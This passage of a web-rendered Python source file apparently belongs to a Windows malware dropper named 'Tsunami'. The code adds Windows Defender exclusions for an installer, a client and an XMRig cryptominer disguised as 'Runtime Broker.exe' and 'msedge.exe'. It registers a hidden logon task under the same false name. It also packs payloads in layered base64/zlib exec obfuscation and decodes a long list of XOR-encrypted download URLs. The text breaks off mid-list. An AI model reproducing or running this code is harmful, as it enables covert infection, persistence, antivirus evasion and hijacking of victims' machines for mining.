subprocess.PIPE</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        output(f&quot;Added a new file to the Windows Defender exception&quot;)</span></span><br><span class="line"><span class="string">    except Exception as e:</span></span><br><span class="line"><span class="string">        output(f&quot;[-] Failed to add Windows Defender exception: &#123;e&#125;&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def create_task() -&gt; None:</span></span><br><span class="line"><span class="string">    powershell_script = f\&quot;\&quot;\&quot;</span></span><br><span class="line"><span class="string">        $Action = New-ScheduledTaskAction -Execute &quot;&#123;TSUNAMI_INSTALLER_PATH&#125;&quot;</span></span><br><span class="line"><span class="string">        $Trigger = New-ScheduledTaskTrigger -AtLogOn</span></span><br><span class="line"><span class="string">        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive</span></span><br><span class="line"><span class="string">        $Principal.RunLevel = 1</span></span><br><span class="line"><span class="string">        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd</span></span><br><span class="line"><span class="string">        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName &quot;Runtime Broker&quot;</span></span><br><span class="line"><span class="string">                         \&quot;\&quot;\&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        subprocess.run(</span></span><br><span class="line"><span class="string">            [&quot;powershell.exe&quot;,&quot;-Command&quot;, powershell_script],</span></span><br><span class="line"><span class="string">            check = True,</span></span><br><span class="line"><span class="string">            creationflags = subprocess.CREATE_NO_WINDOW</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        output(&quot;[+] Successfully created the task&quot;)</span></span><br><span class="line"><span class="string">    except Exception as e:</span></span><br><span class="line"><span class="string">        output(f&quot;[-] Failed to create the task: &#123;e&#125;&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Application Entry #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">if __name__ == &quot;__main__&quot;:</span></span><br><span class="line"><span class="string">    # Check if we are an admin</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if not is_admin():</span></span><br><span class="line"><span class="string">        output(&quot;[WARNING] Not running as an administrator&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Add the Windows Defender exceptions</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    EXCEPTION_PATHS = [</span></span><br><span class="line"><span class="string">        # Tsunami Installer</span></span><br><span class="line"><span class="string">        rf&quot;&#123;ROAMING_APPDATA_PATH&#125;\Microsoft\Windows\Applications\Runtime Broker.exe&quot;,</span></span><br><span class="line"><span class="string">        # Tsunami Client</span></span><br><span class="line"><span class="string">        rf&quot;&#123;LOCAL_APPDATA_PATH&#125;\Microsoft\Windows\Applications\Runtime Broker.exe&quot;,</span></span><br><span class="line"><span class="string">        # XMRig miner</span></span><br><span class="line"><span class="string">        rf&quot;&#123;LOCAL_APPDATA_PATH&#125;\Microsoft\Windows\Applications\msedge.exe&quot;</span></span><br><span class="line"><span class="string">    ]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    for filepath in EXCEPTION_PATHS:</span></span><br><span class="line"><span class="string">        add_windows_defender_exception(filepath)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Create the task</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    create_task()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Keep the window open in debug mode for analysis</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if DEBUG_MODE:</span></span><br><span class="line"><span class="string">        input()</span></span><br><span class="line"><span class="string">                         &#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Obfuscator #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">zlb = lambda in_ : zlib.compress(in_)</span></span><br><span class="line"><span class="string">b64 = lambda in_ : base64.b64encode(in_)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def obfuscate_script(data: str, loop_count: int) -&gt; str:</span></span><br><span class="line"><span class="string">    # Change the value of the random variable to ensure different obfuscation strings each time</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    data = data.replace(&quot;RandVar = &#x27;?&#x27;&quot;, f&quot;RandVar = &#x27;&#123;random.randint(100000, 10000000)&#125;&#x27;&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Setup obfuscation</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    xx = &quot;b64(zlb(data.encode(&#x27;utf8&#x27;)))[::-1]&quot;</span></span><br><span class="line"><span class="string">    prefix = &quot;_ = lambda __ : __import__(&#x27;zlib&#x27;).decompress(__import__(&#x27;base64&#x27;).b64decode(__[::-1]));&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Perform obfuscation</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    for i in range(loop_count):</span></span><br><span class="line"><span class="string">        try:</span></span><br><span class="line"><span class="string">            data = &quot;exec((_)(%s))&quot; % repr(eval(xx))</span></span><br><span class="line"><span class="string">        except TypeError as s:</span></span><br><span class="line"><span class="string">            sys.exit(&quot; TypeError : &quot; + str(s))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Build the complete output</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    output = &quot;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    output += &quot;\\n&quot;</span></span><br><span class="line"><span class="string">    output += prefix</span></span><br><span class="line"><span class="string">    output += data</span></span><br><span class="line"><span class="string">    output += &quot;\\n&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Return the output</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    return output</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Utils #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def output(text: str) -&gt; None:</span></span><br><span class="line"><span class="string">    if DEBUG_MODE:</span></span><br><span class="line"><span class="string">        print(text)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def is_task_scheduled(task_name: str) -&gt; bool:</span></span><br><span class="line"><span class="string">    powershell_command = f&quot;Get-ScheduledTask -TaskName &#x27;&#123;task_name&#125;&#x27;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    result = subprocess.run(</span></span><br><span class="line"><span class="string">        [&quot;powershell.exe&quot;, &quot;-Command&quot;, powershell_command],</span></span><br><span class="line"><span class="string">        creationflags = subprocess.CREATE_NO_WINDOW,</span></span><br><span class="line"><span class="string">        capture_output = True,</span></span><br><span class="line"><span class="string">        text = True</span></span><br><span class="line"><span class="string">    )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if result.returncode == 0 and result.stdout.strip():</span></span><br><span class="line"><span class="string">        return True</span></span><br><span class="line"><span class="string">    else:</span></span><br><span class="line"><span class="string">        return False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### URL Downloader #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def xor_encrypt(text: bytes):</span></span><br><span class="line"><span class="string">    XOR_KEY = b&quot;!!!HappyPenguin1950!!!&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    encrypted_text = bytearray()</span></span><br><span class="line"><span class="string">    for i in range(len(text)):</span></span><br><span class="line"><span class="string">        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])</span></span><br><span class="line"><span class="string">    return bytes(encrypted_text)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def xor_decrypt(text: bytes):</span></span><br><span class="line"><span class="string">    return xor_encrypt(text)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def decode(encoded: str) -&gt; str:</span></span><br><span class="line"><span class="string">    encoded_bytes = binascii.unhexlify(encoded)</span></span><br><span class="line"><span class="string">    encoded_bytes = xor_decrypt(encoded_bytes)</span></span><br><span class="line"><span class="string">    encoded = base64.b64decode(encoded_bytes).decode()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    return encoded[::-1]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def download_installer_url() -&gt; str:</span></span><br><span class="line"><span class="string">    URLS = [</span></span><br><span class="line"><span class="string">        &quot;6f5b427a2c1e221532542c0b112e024b5b5e09476f4b78596c7a540012211a0d3c543b050c76007c7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75607c2e27261532083834165a3c41606354476c7574586c1f541c2a3c0617375533103f4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75467b2f1d3e0334205b54175b5b7d614f61126c4b6b4d430f271f264a1a1c3432061f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75647c2c27260c330b022410071e596a5908146f5b7458450f544123311a09370a44583a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65787a2c1e3e030a3d24362f2e384458606a476c7564106c262f0713493c110c54272b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b787c2f2822153222160f2407204b606001476f4b60126c7b0d1c114b1e133d20441f0c0056435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b70782f433e15322202322f3e20596c7308566f757414781f54002a4b1632370a3306346770435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b78322c422a143257382f1604385a6062096c795b705b6c220d00292e1a543c204c1c37640d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65603f2c1d26103430201d175b0272614f57136e754d5b7b0f541c254b241037301d3c22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b70782c42260a34332410113e5765614f5b116f65674f401f3b0512491e130d0a11053a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b687c2c281c0034321e12263e3c5d5d7d6251734d19106c3202411314065337300d2a0c765d40627218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b703f2f3822030a325b172707245d5b72484d721019586c3220422a21061d0d554c270a766f59624818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f654a782e37080a313d3c3310045b595a5e6a476c7542156c25371912481a0b0c0a19590c010d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b78312f433e0b09572834165b384260637e476f5b705b6e100d1b2a3e06300a2040050c666f717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75647d2e37180331325b172704385b63626658731019116c222c09292e650d37093f3f34666b455313146b6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75747a2c27260332542c0c143e5703686308586c5b6413400f2f40112134310c0a3305370101435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75747b2f4241480a3d2056213e28056362484d701019146f1c38411314060e0c0a233c0d0273596a664d726d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b787a2f37360c31320a0f2021205d58075c6c795b6c116f32370a131406503a3f271334675a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b46312f1e3e15320b3857263e3c59636d7a4e776719116e1c200a2a3e69123d3f3f050c660804655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b427a2c1e1c0032573808232e38445c627670795b78106f1c270a121416573c3f3b1f347600607c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b6c7c2f4226133132340a215a24475d727e4d726719566c320a422a4b69163730192c0c76555d647218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b6c782c1d1803093d24232f5b5b415d587668795b78126c1c2f40134b060f0c0c19130b667f06526464574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7568322e37264931301a10175b575b6c0408596f5b6014427a271c1312161f0d203f2522026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7542792c433e490932063f142e2059636d7a62795b74566e0c27032a210a0d0d0b271334026f7b7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6546312f420811312d3c0b21212042606d6a51744d19156e1c3040134a02150d55193e346973045466676e6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65603f2e372612313320572c3e385e6f0408146c5b4a59407a2f182114690b0c0a332722026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b707b2c1e3e0e31320623165b0a00685908596f4b6c14407a5806214b060f0c204c2c22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b427c2c273613313d240a243e285f63620171795b6c5b6f323745124b1a560c573b050a767f5c6a7470574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b687d2e273a0034322456205b384858627652701019136c0c0209143e650d3f5419590d026f667c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7542792e38320f312d201724043c5d5d7d7a57741019596e1c38081314690a0a2f232b34660845646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b60792f2718490a080220103e1a5b5b047a476e6560156c7b2f40112e161c382f3b1334697305655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7546322c42360c31305b5717042869614f69126f7577587b1f374125211e090f2f3b583b7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b60782f38140f33080632145a24596c73085b6f4b6c134325371c26311e1c3430271c3f6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b60302c1e3a0f323d382e2f2124595c585c79795b64106c22331c134b65093c2f3f050a5c00717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75647b2c27450f313d3c1121313c4b636005476f7570156f26051c131402103f3033590c5c7f617c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b4a3f2e383e1534222814202e384258620175795b46126c1c371b2a211a0d0f213b020c767f40521170574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b687b2c1d3e09322d240f275a245d635b7a10741019586c0c3841121469150d54232e0b66415952764d746d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65683f2f383e15323228142707245d63725c79795b42136f22050a2a311a13385427593769556d7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65427a2f27260c0a32381e275b20415d7d7e10744d19146f3234402a2e3410373f3f2134665d5d524c676f6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7574322c27260a0a575b25173e28006b04085b6e756011787a0d05124a1a2f34301110386200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b787d2e283e0b09570257205a06595b726672795b6c146e1c2745123e28543c0a111c346651717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b427b2c1d080909305f1d2f31384463636a476e7574586e102b1c14311e133c093b1b37035546615818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b6c7c2f1e1c493208385423210242586048476f656c566e0f151a14211a553b550d1a34695d43646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65643f2e274515342d3c56210702015a720167795b74146c222b1c2a4b02543d0a23590a6677777c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b6c7b2e383e150a225729112e5b5d680408126f4b685b427b2b1c152106260a5533133403557e7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b4a302e372649093216362f3124475b58546b795b42136f0c33181214061c3f3f270334697b4f617218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f6570312f3832003255201517213878614f71566c4b4554437a0d05244b06100a31241f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b467a2f37490a322257102431205c63625c4e7010195b6f0c0244292e650d3c2f19100c03417d7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e756c302e382209322d2c33103e165a60624869795b4a156f0c271c122e28153c0a40010f69735e617218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c754a782c27221132320625172e28015b586664795b6c156c322f02294b3c290d54271c0f6973647c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f756c3f2e27080a0a330a52175b24025b057e476e7570106e0f370a142e0a093b0919100f697b01627218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e654a792e37410f3420281d11312073614f69586c75675443260d3d134a06120c30332d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e7574302f381c00313228221621384260625c64795b68586f0c2f03123e3c2937554019395800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b70312c27260d0930340b173102075b5e66476f4b60106c2554092a2c1a0e343f3f1937645e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b42302c433e12320802202f313c00606058476e7570136f102f40142c695537304c1a3c5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b707c2f283a1534225b212f2e3843586048476c65605b6c25191814211623342023053a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75747c2f1e1c0a0a321a1721213c48606d7263795b4a5b6f1c0d45143e3c1037312f130f037f59646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6574782c1e3e483422572a165a24475b580964795b785b6f323b1c134b69360d0927593f6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7578782f383a1534223829165b384b5a0576476c656c126c7b3300122c691f375519100b644e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b783f2e283e4c31232c57165b2860614f79136f65675b7b103318224a3413342033063b4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b747c2c1e3a0f323d3832160438035b0548476f656c146f7b2f1b12143c2b342040050c647c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65603f2f1e3a4933570a1d213102485d624054727719596c323440152e61090d0a23220d027745526468574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65787b2e283e15330b0232142120415a5e5c476f6560126c7a54091249380d0c2023070c5a7c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b68302c2722003257200b2007205d5d6d7e5b727719596f1c2c412a2e06093d3f2710346641777c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b607a2c4222110a3206252f3e2044606d7a74795b60126e1c2f1c121469260c551110376460435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f6578302e2726123132200b2721204460637e476c6568146c253704124b65093c5523030f66005a615818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75603f2f27410f32553c572f3e1658606362476c756c146f1f3305112c1a093455331d376468435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f6564302c27140c3132380b205a024863620551771019146c0c34432a2102543f543b1b37030046614818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b6c312c433e483522382a2f31244763586662795b70156f1c33052a210a35370a33103c4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c756c7c2f1e3e0a0a323c1121313c595b057e476e6560126c7a5406112c28500c200d2b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e7560782f27180309300657172e5766614f69146f656f52430f0d3c134b061c37301d3d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65747c2e283e0f342d38252c3e5f5f58637e476f5b74596c7b2f051248021f0f3040053c7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65607b2e272600343d20122731205b586d6256751019126c2206442a211a0d0a57335c37664159626218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75647d2c283e123308282310313c59636d7a74795b68146e1c3b072a2e0629343f3b190a6973717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75467d2f27360009085723175b5b415a077665795b64126f0c371c294b3c08340c4c050d5c7f707c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e6560302f1e3e170930240d14313c01686308156f4b6459427b2300131502550c554c2a22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b46792f42364909323c30170438015a075c6c795b70156c0c2f1c294b65350a2f3b05340355707c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b74782f1d040031301a082c3e386b614f79156c654557787a0d23134b61540d0a4c2e22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b4a7c2c1e3a1534225730103e16486062666e795b74586c1c330a122e692b37300113376641777c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65607b2c1e3e1133575b0f265b16006358665b777719156f220642291428543f09191a0d760845655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b68792f1d450f33572056232e2848637205497410195b6c0c2844292102093f093b5a376973707c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b68312f1d2613313d2c332f5b5b415d72766f795b6c5b6f32370a292e3c260b30401c0c0074435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e654a322f433e000a32340b20041a5b606d7a65795b6c586c222f18133e610d38203b130a740d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f7542322c1d22150a220225103e5f5d5b5e66476f4b425b6f7b331c2a211a2d0c5427580c7778435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75707d2e27080f0a20021d14213c4858607a476c7564596e0f3702292f1e0a0a2f3f1f3a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6568792f372a0a0932060b2407024863636a476c5b785b6e102f1b12141626342019010d006c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b747d2e381c0c320838362f3e5b416b5908596c657458427a2709224b16540d32301f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e75423f2e2822093433280c17040265614f79146e75451445000900254b02160c57451f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f6568792f1d18133208281e2407245d587d6267795b78156f0c091d2a2e1e150c0b23010c6608737c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e6578302f27264b33083833175b2047680408106f7574107b1f54002a1406200d5540010c7778435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65467a2c1e3e1032551e1d112e2875614f57156f4b6f5b42253745123c0a1c343f2f0134675a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f7560782e27260d0932162414213c005b045c476c7560596c102b1c2a3e65093c553b05375c6f04657218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65463f2c42264b093d3c0d215b5b595d075c49776719596f222445131406113732110534765546655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b427d2e383e0f0956240f21313c5b606d5867795b64146c220d0a143e160a38551d130c0156435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75427c2c42081134222820112e165d6b5908566c656810430f19002214281537321a1f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c656c792c27451533570234112e3844606040476f756c566f1f090a112e28133b2f1910376409435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b607d2f383e0009323810205b5f595b7d7e6b795b46596c220d0a2a2102153f543b580c03085d624818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b427b2c27140c313d2031103e164260637a476f4b4a106e0f370529211e103d3023133769735a656218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f7568782f42080d3422063e112e065f5d620962795b68156c0c050a2a311a0d0a32111c34696b05547415574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b64782f42264832222830165a3c5c586054476e7564116e0f3318124b2812383f27190a6774435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b703f2f3800493132241e215b38415a066675795b64566f0c3306123e060b0c0c33130a7641046a6464574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b46782e27450909300a122f3e0a045c7009476e756c5b6e0f330312491a093755331a376778435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        